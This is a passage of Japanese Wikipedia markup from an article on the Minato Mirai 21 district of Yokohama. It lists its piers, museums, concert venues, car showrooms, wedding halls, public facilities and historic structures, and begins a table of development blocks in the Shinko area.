※「キング軸」、「クイーン軸」、「グランモール軸」の3つの[[歩行者]][[動線]]については、後節の「[[#ペデストリアン軸(歩行者動線)]]」を参照。
==== 桟橋・船乗り場・客船ターミナル ====
[[画像:Pukari-Sambashi-Yokohama.jpg|thumb|[[ぷかりさん橋]]]]
* [[ぷかりさん橋]]
* ピア日本丸
* ピア運河パーク
* ピア赤レンガ([[桟橋]])
* ピア象の鼻(桟橋)
* [[横浜ハンマーヘッド#新港ふ頭客船ターミナル|新港ふ頭客船ターミナル]](新港地区の複合施設「[[横浜ハンマーヘッド]]」<ref name="YHH-official"/>内の客船施設)<ref name="mm21-2020-yhp"/><ref name="hamarepo190312"/><ref name="YH190611"/>
** [[横浜ハンマーヘッド#その他|新港ふ頭さん橋]](上記施設の南東側〈新港埠頭8号岸壁側〉に設置)
==== 展示場・芸術・文化・スポーツ施設等 ====
[[画像:PACIFIC CONVENTION PLAZA YOKOHAMA ExhibitionHall 2003.jpg|thumb|[[横浜国際平和会議場]] 展示ホール]]
<!--[[画像:PACIFIC CONVENTION PLAZA YOKOHAMA ExhibitionHall 2003-01.jpg|thumb|展示ホールの夜景]]-->
[[画像:Yokohama museum of art2.JPG|thumb|[[横浜美術館]]]]
* [[横浜国際平和会議場]](通称:パシフィコ横浜)
* [[横浜みなとみらい国際コンベンションセンター]](通称:パシフィコ横浜ノース、パシフィコ横浜の拡張を目的とした新[[コンベンション・センター|展示場]])<ref name="yokohama-bunkakanko180215"/>
* [[横浜美術館]]
* [[横浜みなとみらいホール]]
* [[横浜みなと博物館]]
* [[国際協力機構#施設|海外移住資料館]]([[国際協力機構|JICA]]横浜国際センター内2階)
* [[三菱重工横浜ビル#三菱みなとみらい技術館|三菱みなとみらい技術館]]([[三菱重工横浜ビル]]低層部)
* [[安藤百福発明記念館 横浜]](愛称:カップヌードルミュージアム 横浜)
* [[原鉄道模型博物館]]([[横浜三井ビルディング]]2階)
* [[コンピュータゲーム|ゲーム]]アートミュージアム([[大和ハウス工業]]などによる52街区複合開発〈2026年7月供用開始予定〉で設置予定)
* [[京急ミュージアム]]([[湘南電気鉄道デ1形電車|デハ230形]]などを展示、[[京急グループ本社]]1階に2020年1月開設)<ref name="newswitch190709"/>
* [[S/PARK Museum]]([[資生堂グローバルイノベーションセンター]]2階)
* Mulabo! (ムラーボ!)([[村田製作所みなとみらいイノベーションセンター]]内の科学体験施設、2020年12月オープン)<ref name="mulabo-official"/>
* YUMESAKI GALLERY (ユメサキギャラリー)([[LG YOKOHAMA INNOVATION CENTER]]内のエンターテインメント・体験型施設、2022年3月オープン)<ref name="yumesaki-g"/>
* 首都高MMパーク([[首都高速道路]]神奈川局内〈1-2階〉の無料展示スペース、2021年6月オープン)<ref name="shutoko210630"/>
* [[横浜海上防災基地|海上保安資料館 横浜館]]([[九州南西海域工作船事件]]における[[朝鮮民主主義人民共和国|北朝鮮]]の[[不審船|工作船]]展示館)
<!--※スポーツ施設としては[[マリノスタウン]]および[[みなとみらいスポーツパーク]]が閉鎖済み-->
==== 音楽ホール・アリーナ・ライブハウス ====
[[画像:PIA ARENA MM 01.jpg|thumb|[[ぴあアリーナMM]]]]
* [[横浜国際平和会議場|パシフィコ横浜]]・国立大ホール(収容人数約5,000人/1994年開館)
* [[横浜みなとみらいホール]](大ホール:収容人数2,020人/1998年開館)
* [[横浜ランドマークタワー#ランドマークプラザ|ランドマークホール]](収容人数510人/音楽コンサートを核とした施設として2018年リニューアル)<ref name="mec-ylmt25th">{{PDFlink|[http://www.mec.co.jp/j/news/archives/mec180712_yokohamalandmark.pdf 「横浜ランドマークタワー」開業 25 周年]}}(三菱地所株式会社:ニュースリリース 2018年7月12日)</ref>
* [[Kアリーナ横浜]](収容人数2万人規模/[[ケン・コーポレーション]]音楽専用アリーナ/60・61街区にて2023年7月竣工予定)<ref name="mlit190222"/><ref name="kencorp-k-arena"/><ref name="kencorp211116"/><ref name="tokyo-shin171117"/>
* [[ぴあアリーナMM]](収容人数1万人規模/38街区にて2020年7月開業)<ref name="tokyo-shin171117"/><ref name ="kanaloco190708"/><ref name="pia-arena200709"/>{{small|(''30年間の定期借地''<ref name="pia171109"/>)}}
* [[ライブハウス]]型ホール「[[Zepp|KT Zepp Yokohama]]」(収容人数約2,000人/47街区{{small|〈KTビル併設〉}}にて2020年3月開業)<ref name="tokyo-shin171117"/>
* 横浜みなとみらいブロンテ ライブ (Bronth.LIVE)(収容人数約350人/旧[[ブリリア・ショートショートシアター]]を改装利用し2019年7月開設)<ref name="bronth-live"/><ref name="livewalker27512"/>
* XLV Bayside Motion (ベイサイドモーション)(<!--席数170席、最大収容人数392人?/-->「[[横浜ハンマーヘッド]]」内のエンターテイメント・スペース、2019年10月開設)<ref>[https://hamarepo.com/news/4985.html 横浜ハンマーヘッドにエンターテインメント・スペース「ベイサイドモーション」がオープン!](はまれぽ.com 2019年10月31日)</ref><ref>[https://www.xlv-society.co.jp/info2 Bayside MotionがXLV Bayside MotionとしてリニューアルOPEN](Dining Bar XLV 公式サイト内)</ref>
==== 自動車ショールーム ====
[[画像:Audi Minato Mirai 02.jpg|thumb|[[Audi みなとみらい]]]]
* [[日産ギャラリー|NISSAN GALLERY]]([[日産自動車グローバル本社|日産グローバル本社]]ギャラリー)
* [[Audi みなとみらい]](自動車ショールーム・カフェ)
* [[ニコル・グループ]]の自動車ショールーム(25街区・[[横浜ランドマークタワー#ランドマークプラザ|ランドマークプラザ]]隣、{{small|''暫定施設''}})
** [[ロールス・ロイス・モーター・カーズ]]横浜<ref name="nicole-rollsy">[https://www.rolls-roycemotorcars.com/yokohama/ja_JP/showroom.html ロールス・ロイス・モーター・カーズ横浜](ロールス・ロイス・モーター・カーズ:ディーラー公式ページ)</ref>
<!--** Nicole BMW 横浜みなとみらい支店(2013年12月閉鎖)<ref name="nicole-bmwy"/> -->
** <!--Nicole Competizione -->[[フェラーリ]]横浜<!--みなとみらい-->ショールーム<ref name="yokohama-ferraridealers">[https://yokohama.ferraridealers.com/ja-JP Nicole Competizione フェラーリ横浜ショールーム](ディーラー公式サイト)</ref><ref name="carwatch131003"/><ref name="kanaloco140213-nicole"/><ref name="Nicole-pr210331"/>
* [[オーシャンゲートみなとみらい]](ビル内1階)
** [[ベントレー]]横浜{{small|(ディーラー:SKYグループ)}}<ref name="bentley-yokohama">[https://www.bentleymotors.jp/dealers/yokohama-dealer/ ベントレー横浜](ベントレーモーターズ:ディーラー公式ページ)</ref>
* [[みなとみらいセンタービル]](ビル内1階)
** [[マセラティ]]みなとみらい{{small|(ディーラー:[[セントラル自動車技研]]傘下のセブンアベニュー)}}<ref name="maserati-mm">[https://www.maserati.com/jp/ja/dealers/minatomirai マセラティ みなとみらい](マセラティ:ディーラー公式ページ)</ref>
** [[ランボルギーニ]]横浜{{small|(ディーラー:SKYグループ傘下のボロネーゼ)}}<ref name="lamborghini-yokohama">[https://www.lamborghini.com/jp-en/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%A9%E3%83%BC/lamborghini-%E6%A8%AA%E6%B5%9C Lamborghini 横浜](ランボルギーニ:ディーラー公式ページ)</ref><ref name="carwatch170122"/>
* [[ウェスティンホテル横浜]](建物内1階)
** [[ポルシェ]]センターみなとみらい{{small|(ディーラー:インプロブ)}}<ref name="porsche-minatomirai">[https://www.porsche.co.jp/dealers/minatomirai/ ポルシェセンターみなとみらい]([[ポルシェジャパン]]公式ページ)</ref>
**: 2022年5月20日に[[栄本町線|みなとみらい大通り]]を挟んで向かい側(43街区)にあるPRYME GALLERY みなとみらいより移転<ref name="carwatch220427"/><ref name="nikkei220427"/>。
* [[PRYME GALLERY みなとみらい]]{{small|(''暫定商業施設'')}}<ref name="nikkei140303"/><ref name="response140404"/>
** ポルシェセンターみなとみらい 認定中古車センター{{small|(ディーラー:インプロブ)}}<ref name="porsche-minatomirai_app">[https://www.porsche.co.jp/dealers/minatomirai_app/ ポルシェセンターみなとみらい 認定中古車センター](ポルシェジャパン公式ページ)</ref>
**: サービス<!--整備-->工場も設置。元々は「ポルシェセンターみなとみらい」があった<ref name="response140306"/>が、2022年5月20日にみなとみらい大通りを挟んで向かい側(44街区)にあるウェスティンホテル横浜の1階に移転し、当ショールームは「認定中古車センター」に変更<ref name="carwatch220427">[https://car.watch.impress.co.jp/docs/news/1406044.html ポルシェ、ホテル併設の都市型新店舗「ポルシェセンターみなとみらい」](Car Watch, 2022年4月27日)</ref><ref name="nikkei220427">[https://www.nikkei.com/article/DGXZRSP631406_X20C22A4000000/ ポルシェ、正規販売店「ポルシェセンターみなとみらい」を「ウェスティンホテル横浜」1Fへ移転オープン](日本経済新聞 2022年4月27日)</ref>。
** Minato-Mirai [[BMW]]{{small|(ディーラー:ウエインズインポートカーズ<ref name="Weins-Importcars" group="注">このディーラーでは[[ミニ (BMW)|ミニ]]・[[プジョー]]なども扱っている。</ref>)}}<ref name="mm-bmw">[https://minato-mirai.bmw.jp/ja Minato-Mirai BMW](ディーラー公式サイト)</ref><ref name="response130928"/>
** [[ミニ (BMW)|MINI]] みなとみらい{{small|(ディーラー:ウエインズインポートカーズ)}}<ref name="mm-mini">[http://www.minatomirai.mini.jp/ja_JP/home.html MINI みなとみらい / MINI NEXT みなとみらい](ディーラー公式サイト)</ref><ref name="response140325"/>
* [[横浜野村ビル]](ビル内1階)
** [[ジープ]]横浜みなとみらい{{small|(ディーラー:シリウス)}}<ref name="jeep-yokohama-minatomirai">[https://yokohama-minatomirai.jeep-dealer.jp/jeep/ ジープ横浜みなとみらい](ディーラー公式サイト)</ref><ref name="car-watch220729">[https://car.watch.impress.co.jp/docs/news/1428836.html ジープ、横浜みなとみらいに新店舗オープン ヘグストロム社長が未発表の新型モデル年内デビューを予告](Car Watch, 2022年7月29日)</ref>
* [[MUFG グローバルラーニングセンター]](ビル内1階)
** [[ジャガー (自動車)|ジャガー]]・[[ランドローバー]]横浜{{small|(ディーラー:ミッドランズ<!--〈旧ディーラー:[[新東洋企業]]〉-->)}}<ref name="jaguarlandrover-yokohama">[https://www.midlands-yokohama.jp/ ジャガー・ランドローバー横浜]:[https://www.midlands-yokohama.jp/showroom ショールーム](ディーラー公式サイト/ミッドランズ株式会社)</ref>
* [[MARK IS みなとみらい]](建物内1階)
** [[テスラ (会社)|テスラ]]デザインスタジオ横浜(2018年4月27日〜10月31日までの期間限定ストア)<ref>[https://www.tesla.com/jp/blog/YokohamaMarkIS2018 テスラデザインスタジオ横浜 オープン](テスラジャパン公式サイト内 2018年4月26日)</ref>
==== 結婚式場 ====
[[画像:Anniversaire Minatomirai 04.jpg|thumb|[[アニヴェルセル みなとみらい横浜]]]]
* [[MARINE & WALK YOKOHAMA]]<!-- (マリン アンド ウォーク ヨコハマ)--><ref name="fashion-press151001"/>
** ウェディングゲストハウス「[[テイクアンドギヴ・ニーズ|BAYSIDE GEIHINKAN VERANDA minatomirai]] (ベイサイド ゲイヒンカン ヴェランダ ミナトミライ<!--/ベイサイド迎賓館 ベランダ みなとみらい-->)」<ref name="BGVm">[http://www.tgn.co.jp/hall/yokohama/bgv/ BAYSIDE GEIHINKAN VERANDA minatomirai 公式サイト]</ref><ref name="spur150818">[http://hpplus.jp/spur/clip/2147550/ 2016年春、横浜みなとみらいに海を臨むウェディングゲストハウスがオープン](SPUR.JP 2015年8月18日)</ref>
*: {{small|(旧[[GENTO YOKOHAMA]]の併設施設「ベイサイド迎賓館・ベイサイドガーデンクラブ」を運営していた[[テイクアンドギヴ・ニーズ]] (T&G) による)}}
* [[グランドオリエンタルみなとみらい]](カフェ&[[レストラン]]・[[ギャラリー (美術)|アートギャラリー]]を併設)<ref name="bridal-p1"/><ref name="bridal-p2"/>
* [[アニヴェルセル みなとみらい横浜]]{{small|(''30年間の定期借地''<ref name="hamarepo120420"/>)}}
** [[アニヴェルセル みなとみらい横浜#アニヴェルセル カフェ|アニヴェルセルカフェ みなとみらい]]
* 県民共済プラザビル
** 結婚式場メルヴェーユ([[神奈川県民共済生活協同組合]]の組合員が利用できる結婚式場)
==== 病院・警察・郵便局・学校 ====
* [[けいゆう病院]]
* [[神奈川県警察]]みなとみらい分庁舎
** 建物内1階:[[戸部警察署]]みなとみらい交番
* [[横浜桜木郵便局]]
* [[神奈川大学]][[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]](2021年4月開設)
** [[図書館]]<!--みなとみらい図書館-->(一般市民も利用可)なども設置
* [[学校法人みなとみらい学園|みなとみらい学園 横浜歯科医療専門学校]](旧:鶴見歯科学園)
* [[横浜市立みなとみらい本町小学校]]([[横浜市立本町小学校|本町小学校]]から分離新設、2018年度より10年間限定で開校する方針)<ref name="minatomiraihoncho-shogako"/>
==== 歴史的建造物 ====
[[画像:横浜赤レンガ1.jpg|thumb|[[横浜赤レンガ倉庫]]]]
* [[横浜赤レンガ倉庫]]
* [[横浜ハンマーヘッド#ハンマーヘッドパーク|ハンマーヘッドクレーンの遺構]]
* [[日本丸メモリアルパーク#日本丸展示ドック|日本丸展示ドック]]('''[[重要文化財]]''':旧横浜船渠株式会社第一号船渠、2000年指定)
** 帆船[[日本丸 (初代)|日本丸]]('''重要文化財'''、2017年指定)<ref name="hamakei170317"/>
* [[横浜ランドマークタワー#ドックヤードガーデン|ドックヤードガーデン]]('''重要文化財''':旧横浜船渠株式会社第二号船渠、1997年指定)
* [[汽車道]]
=== 街区別施設一覧 ===
[[画像:Minatomirai_Map2020.svg|thumb|みなとみらい21 街区開発状況図(2020年4月1日時点)]]
各[[街区]]の位置・詳細情報は、横浜市都市整備局の「[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mmkaihatsu/gaiku.html みなとみらい21街区開発状況]」および「[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/gaiyo.html 開発状況図{{small|(当地区事業概要ページの“最近の状況:街区開発”内を参照)}}]<!--状況図の更新時にリンクURLが変更されるためここでは直接貼らない--><!--({{PDFlink|[https://web.archive.org/web/20190402191246/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/gaiyo.files/0002_20190401.pdf {{small|2019年3月31日時点〈キャッシュ〉}}]}})-->」<ref name="toshi-kaihatsujokyozu"/><!--過去リンクのキャッシュ:{{PDFlink|[https://web.archive.org/web/20190308123114/http://www.city.yokohama.lg.jp/toshi/mm21/pdf/gaikuzu.pdf 開発状況図{{small|(2019年1月4日時点)}}]}}/過去リンク〈元URL〉:{{PDFlink|[http://www.city.yokohama.lg.jp/toshi/mm21/pdf/gaikuzu.pdf 開発状況図]}}-->を参照。また、中央地区における各街区の高さ制限等については同局サイト内の「[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-010.html みなとみらい21中央地区地区計画]」および「{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-010.files/0006_20210929.pdf 計画図]}}」、あるいはみなとみらいエリアマネジメント公式サイト内の「[https://www.ymm21.jp/div/central.html 中央地区の街づくり]」<!--(新港地区については「[https://www.ymm21.jp/div/shinko.html 新港地区の街づくり]」)-->を参照。
* 開発事業者を公募中・今後公募予定の街区
** 横浜市等の所有街区:<!--20街区(MICE施設建設予定地)、-->52街区、57街区、60・61街区<ref name="ymm21-offering">[https://www.ymm21.jp/div/offering.html 開発事業者公募](みなとみらいエリアマネジメント公式サイト)</ref><!--<ref>[http://www.ymm21.jp/city-info/development/public_offering/schedule.html 開発事業者公募:開発募集予定街区情報](横浜みなとみらい21の街づくり公式ウェブサイト)</ref><ref name="mm21-kobo-joho-guide">[http://www.ymm21.jp/city-info/development/public_offering/guide.html 開発事業者公募:公募情報のご案内](横浜みなとみらい21の街づくり公式ウェブサイト)</ref>-->{{refnest|group="注"|正確には横浜市の財政局(旧横浜市[[土地開発公社]]〈2014年3月解散〉<ref>[https://archive.is/NkYJV 横浜市土地開発公社 公式サイト]([http://www.ytochikai.jp/index.html オリジナルウェブページ]の2013年7月2日時点の[[ウェブアーカイブ|アーカイブ]] (by [[archive.is]]) /{{small|アーカイブその2:[https://web.archive.org/web/20140407085215/http://www.ytochikai.jp/index.html 同じく2014年4月7日時点のアーカイブ] (by [[ウェイバックマシン|Wayback Machine]])}})</ref><ref>[http://www.city.yokohama.lg.jp/zaisei/toti/totikaihatukousya/ 横浜市土地開発公社について](横浜市財政局)</ref>所有地を継承)、および港湾局が所管する街区。また、一部[[国有地]]<!--52街区-->も含まれる。}}
*** 最新状況はみなとみらいエリアマネジメント公式サイト内の「[https://www.ymm21.jp/div/offering.html 開発事業者公募]」<!--「[http://www.ymm21.jp/city-info/development/public_offering/schedule.html 開発募集予定街区情報]」および「[http://www.ymm21.jp/city-info/development/public_offering/guide.html 公募情報のご案内]」-->を参照。
** [[都市再生機構|UR都市機構]]の所有街区:44街区、48街区<!--<ref>[http://business.ur-net.go.jp/kakuchi_result_detail.asp?prefect=14&area=161&k_num=01&page_type=1 みなとみらい21中央 事業用地のご案内](UR都市機構ビジネスロケーションサイト)</ref>--><ref name="ur-mm21koubo">[https://www.ur-net.go.jp/business/ URビジネス・サポート]:「事業用地を探す」で神奈川を選択 > [https://www.ur-net.go.jp/business/kanagawa/index.html 事業用地 物件一覧(神奈川)]《公募予定街区:みなとみらい21中央44街区2画地/48街区》(UR都市機構公式サイト内 ''2019年2月27日閲覧'')</ref>{{Refnest|group="注"|<!--2013年5月1日時点で、URサイトにて44街区の画地情報掲載あり(''※ 2014年4月時点では消去済み'')。-->44街区(暫定施設「[[アルカエフ]]」の跡地)について、UR都市機構では2015年度以降に公募・譲渡する方針としており<ref>[http://www.kentsu.co.jp/webnews/html_top/141117400036.html UR 今後譲渡予定物件](建通新聞{{small|〈電子版〉}} 2014年11月17日/神奈川)</ref>、2016年12月に[[積水ハウス]]が同街区南側半分<!--(約9,604m{{sup|2}})-->の土地を取得している<ref name="kentsu161209"/>([[ウェスティンホテル横浜]]が入る複合ビルを開発<ref name="sekisui181130"/>)。また、同街区の北側半分<!--(約9,604m{{sup|2}})-->は2020年2月〜3月に実施された公募<ref name="ur-mm44-2-201908"/><ref name="xtech-nikkei200220"/>で、[[住宅展示場]]などを手がけるエイトノットアンドカンパニーJVが暫定土地利用者に決まった<ref name="kentsu200402"/>(同年7月1日から10年間の予定<ref name="xtech-nikkei200220"/>)。一方、48街区では暫定施設の「[[横浜アンパンマンこどもミュージアム&モール]]」が2007年より10年以上運営されてきたが、同施設は61街区(一部区画)へ2019年7月に移転することが決まったため<ref name="city-yokohama160328"/>、同年5月には48街区の旧施設を閉館<ref name="kanaloco190208"/>してそのまま借地契約も終了となった。なお、48街区はプロット48 (PLOT 48) として2020年に開催される「[[横浜トリエンナーレ|ヨコハマトリエンナーレ]]2020」の会場の一つにもなっている<ref name="ytn190702"/>。}}
* 土地所有者により今後開発予定の街区(公募実施街区<!--通常の公募により事業者を決定した街区-->を除く)
** [[三菱地所]]の所有街区:25街区<!--ランドマークタワー二期棟予定地-->、38街区<!--残存区画あり-->、47街区<!--残存区画あり(※2016年時点で三菱地所所有地かは不明)--><ref name="mitsubishi jisho161027"/><ref name="mitsubishi jisho171201"/><!--全区画の開発が決定した段階で除去-->
** その他企業の所有街区:<!--37街区{{small|(KRF48)}}--><!--ケネディクスの特別目的会社・KRF48所有(恒久施設の開発計画:2020年4月着工)、-->43街区{{small|(岡田ビル)}}<!--岡田不動産(岡田ビル)所有(現在は暫定施設のPRYME GALLERY〈2014年から10年間の暫定施設となる予定〉)--><!--、街区不明{{small|([[三本珈琲]])}}<ref name="xtech170908"/>--><!--※三本珈琲が2017年にみなとみらいの土地を三菱地所から取得、同社の自動販売機が設置されている47街区の一部区画の可能性もある-->
* 期間限定で貸し出している・貸し出す予定の街区({{small|※長期間の[[定期借地権|定期借地]]となっている街区も含む}})
** 暫定利用施設:15街区、23街区、43・44街区、48・49街区、57街区<ref name="toshi-kaihatsujokyozu"/>
<!--45・46街区にもごく一部区画の暫定利用があるが、ここでは除外している-->
*** 土地利用の契約期間は原則10年間だが、近年は緩和され延長するケースも出ている<ref>[https://www.kanaloco.jp/news/economy/entry-131999.html 横浜・みなとみらい21中央地区の土地利用で、暫定利用の「10年ルール」を一部見直し](神奈川新聞{{small|〈カナロコ〉}} 2010年4月11日)</ref><!--同記事の過去版アーカイブ:<ref>{{Cite news |archivedate=2010-04-14 |archiveurl=https://web.archive.org/web/20100414154403/http://news.kanaloco.jp/localnews/article/1004110018/ |date=2010-04-12 |url=http://news.kanaloco.jp/localnews/article/1004110018/ |title=横浜・みなとみらい21中央地区の土地利用で、暫定利用の「10年ルール」を一部見直し |work=カナロコ |publisher=[[神奈川新聞|神奈川新聞社]] |accessdate=2013-10-15}}/記事のアーカイブその2:[https://archive.is/4UmIn Archive.is (3 Jul 2013)]</ref>-->。また、契約期間(運用ルール)について原則20年に延長することも検討されている<ref name="town-news180101">[https://www.townnews.co.jp/0113/2018/01/01/412730.html MM21地区、開発9割に 観光エンタメ施設増える]([[タウンニュース社|タウンニュース]]{{small|〈中区・西区版〉}} 2018年1月1日号)</ref>。
*** 一部街区では土地の一時貸付募集も行っている<ref>[http://www.city.yokohama.lg.jp/kowan/business/mm21/shisan.html みなとみらい21地区 事業者向け土地の一時貸付情報](横浜市港湾局)</ref>。
** 定期借地・将来開発地等<!--「みなとみらい21 開発状況図」に記されている暫定利用施設(街区)以外-->:6-2・7街区、16街区、25街区、32街区、38街区、61街区
<!--7街区:緑地兼駐車場施設(予定地)⇒6-2・7街区:新港ふ頭客船ターミナルの整備に関連して車両待機場・駐車場として一時利用予定(2019年舗装整備)⇒将来的に両街区とも緑地化予定、15・23街区:コスモワールド、16街区:アニヴェルセル(結婚式場・30年間の定期借地)、25街区(一部区画):ニコル・グループ自動車ショールーム(ランドマークタワー二期棟建設予定地)、32街区(一部区画):神奈川県警みなとみらい分庁舎駐車場、37街区(一部区画):住宅展示場(三菱重工横浜ビル二期棟建設予定地であったが、同地はケネディクスグループに2017年3月売却/住宅展示場は2019年7月閉鎖)、38街区:中古車センター(2017年3月閉鎖)⇒(一部区画)ぴあアリーナMM(30年間の定期借地)、43街区(一部区画):PRYME GALLERY、44街区:アルカエフ(2019年7月完全閉鎖)⇒北区画はURが2019年度に暫定利用の入札を実施(エイトノットアンドカンパニーJVが2020年7月より10年間借地契約締結、引き続き暫くは暫定施設となる可能性がある)、47街区:オートバックスなど(2016年10月閉鎖)、48街区:旧アンパンマンこどもミュージアム&モール(61街区への移転のため2019年5月閉鎖)⇒プロット48(ヨコハマトリエンナーレ2020の会場として暫定利用予定)、49街区:トヨタレンタリースの暫定利用地(47街区旧オートバックス拡張区画)、57街区(一部区画):小学校(10年間限定開校予定)、60街区:横浜みなとみらいスポーツパーク(2017年11月暫定運営終了・閉鎖)、61街区(一部区画):アンパンマンこどもミュージアムの移転後新施設(30年間の定期借地)-->
* なお、49街区の西隣・道を挟んで向かい側のハートケア横浜([[介護老人保健施設]])、グランシティみなとみらい(マンション)などがある区画はみなとみらいの開発地区に含まれていない<ref name="MM-info85">{{PDFlink|[https://www.ymm21.jp/common/pdf/info_v085.pdf 「みなとみらい21 Information」 vol.85]〈[https://web.archive.org/web/20210904160309/https://www.ymm21.jp/common/pdf/info_v085.pdf アーカイブ]〉}}(2014年3月発行 ''企画・発行元:横浜市都市整備局みなとみらい21推進課、横浜市港湾局資産活用課、一般社団法人横浜みなとみらい21'')</ref>。
<!-- * 最終的な土地の利用方針が不明・未公表の街区(''暫定施設除く'') -->
==== 新港地区(1-17街区) ====
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|1街区
|colspan="2"|[[横浜海上防災基地]]([[海上保安庁]][[第三管区海上保安本部]])
* 海上保安資料館横浜館([[不審船|工作船]]展示館)
|陸上施設:1995年4月供用<br />海上施設:1996年3月供用
|-
|rowspan="3"|2街区
|colspan="2"|[[横浜赤レンガ倉庫]]<br />(2007年に[[近代化産業遺産]]認定)
* 1号館(劇場、イベントスペース)
* 2号館(商業施設)
* 赤レンガ倉庫広場
|2002年4月開業{{small|(文化・商業施設)}}<br />(2022年12月リニューアル開業予定)
|-
|colspan="2"|赤レンガパーク
|2002年4月開園
|-
|colspan="2"|ピア赤レンガ桟橋(船乗り場/[[ポートサービス|シーバス]]乗り場)
|2004年3月供用
|-
|3街区
|colspan="2"|[[象の鼻パーク]]
* 象の鼻テラス(象の鼻カフェ・イベントスペース併設)
* ピア象の鼻桟橋(船乗り場)
|2009年6月開園
|-
|4街区
|colspan="2"|[[MARINE & WALK YOKOHAMA]] (マリン アンド ウォーク ヨコハマ)<ref name="fashion-press151001"/><ref name="hamakei151002">[http://www.hamakei.com/headline/9594/ MM21新港地区に新商業施設「MARINE&WALK YOKOHAMA」 2016年3月開業](ヨコハマ経済新聞 2015年10月2日)</ref><ref name="ryutsunews140516">[http://ryutsuu.biz/store/g051619.html 三菱商事都市開発/南青山、銀座2丁目、MM21地区に商業施設](流通ニュース 2014年5月16日)</ref><ref>[http://www.marineandwalk.jp/ MARINE&WALK YOKOHAMA(マリン アンド ウォーク ヨコハマ) 公式サイト]</ref><!--<ref>[http://www.mcud.co.jp/project/marineandwalk/ 「MARINE&WALK YOKOHAMA」 ティザーサイト]</ref>--><br />(事業者:[[三菱商事都市開発]]/[[施工]]:[[鹿島建設]])
2階建て([[結婚式場]]は5階建て)の低層分棟方式・ライフスタイル提案型の商業施設として計画され、2016年3月4日に開業。
* ストリートスケープ型[[ショッピングセンター#オープンモール形式|オープンモール]]
** アパレル、雑貨、カフェなど24店舗が入居<ref name="kanaloco130726"/><ref name="hamakei151002"/><ref>{{PDFlink|[http://www.city.yokohama.lg.jp/toshi/mm21/press/pdf/20130726zigyousyakettei4gaiku.pdf みなとみらい21新港地区4街区の開発事業予定者が決定!]〈[https://web.archive.org/web/20171206140134/http://www.city.yokohama.lg.jp/toshi/mm21/press/pdf/20130726zigyousyakettei4gaiku.pdf アーカイブ]〉}}(横浜市港湾局資産活用課 平成25年 {{small|(2013年)}} 7月25日)</ref>。
* ウェディングゲストハウス「BAYSIDE GEIHINKAN VERANDA minatomirai (ベイサイド ゲイヒンカン ヴェランダ ミナトミライ<!--/ベイサイド迎賓館 ベランダ みなとみらい-->)」<ref name="BGVm"/><ref name="spur150818"/>
** 全フロア完全貸切り型の結婚式場の他に、1階にはレストラン「Pie Holi」も入居<ref name="hamakei151002"/>。
: {{small|(旧[[GENTO YOKOHAMA]]の併設施設「ベイサイド迎賓館・ベイサイドガーデンクラブ」を運営していた[[テイクアンドギヴ・ニーズ]] (T&G) による)}}
{{small|(過去:開発が行われる以前は新港地区第4街区臨時駐車場 (一般車・[[バス (交通機関)|バス]]) となっていた)}}<br />
{{small|(過去:委託事業者倒産で[[Wホテル]]進出中止<ref name="hamakei090810"/>)}}
|2014年11月着工<ref>[http://www.kentsu.co.jp/webnews/html_top/141128400033.html MM21・4街区の商業施設 鹿島で着工](建通新聞{{small|〈電子版〉}} 2014年11月28日/神奈川)</ref><br /><!--2016年2月[[:wikt:竣工|竣工]]<br />-->2016年3月開業<ref name="hamakei151002"/>
|-
|5街区
|colspan="2"|[[横浜ハンマーヘッド#ハンマーヘッドパーク|ハンマーヘッドパーク]]<ref name="MM-info85"/><ref name="hamarepo190312"/>
* 歴史的な[[産業遺産]](2007年に[[近代化産業遺産]]、2018年に[[土木学会選奨土木遺産]]認定<ref name="kanaloco181005"/>)である[[クレーン#ジブクレーン|ハンマーヘッドクレーン]](50t[[クレーン|起重機]])を保存し、周辺約0.5haを緑地公園(広場・プロムナード)として整備<ref name="kanaloco161119"/>。
* 横浜市では下記客船施設(6-1街区)の整備に合わせて2017年に基本[[設計]]を決定<ref name="kanaloco161119"/><ref name="kanaloco181005"/>。客船施設より少し遅く2020年8月に開園している<ref name="YH190611"/>。
(下記客船施設ともデッキで接続<ref name="hamarepo190312"/>)<br />
{{small|(当街区は6-1街区の海側先端部分に位置する)}}
|2020年8月開園
|-
|rowspan="2"|6-1街区
|colspan="2"|[[横浜ハンマーヘッド]](YOKOHAMA HAMMERHEAD/客船ターミナル複合施設)<ref name="YHH-official">[http://www.hammerhead.co.jp/ 横浜ハンマーヘッド](公式サイト)</ref><ref name="hamarepo190312"/><ref name="city-yokohama171004">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20171004-027-26193.html みなとみらい21 新港地区客船ターミナル(仮称)整備の事業予定者が決定しました!]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20171004-027-26193.files/0001_20190613.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20210904160307/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20171004-027-26193.files/0001_20190613.pdf アーカイブ]〉}}(横浜市港湾局客船事業推進課 平成29年 {{small|(2017年)}} 10月4日)</ref><!--<ref name="hanjohanjo171019">[http://hanjohanjo.jp/article/2017/10/19/8098.html みなとみらい21の新港地区客船ターミナル施設整備/ラグビーW杯に向けホテルも](HANJO HANJO/日刊建設工業新聞 2017年10月19日)</ref>--><ref name="YHP180604">[https://prtimes.jp/main/html/rd/p/000000101.000025694.html 「YOKOHAMA HAMMERHEAD PROJECT」ヨコハマ ハンマーヘッド プロジェクト着工のお知らせ](野村不動産ホールディングス株式会社 2018年6月4日〈PR TIMES〉)</ref><br />〈YOKOHAMA HAMMERHEAD PROJECT {{small|(ヨコハマ ハンマーヘッド プロジェクト)}}〉<ref name="YHP180604"/>
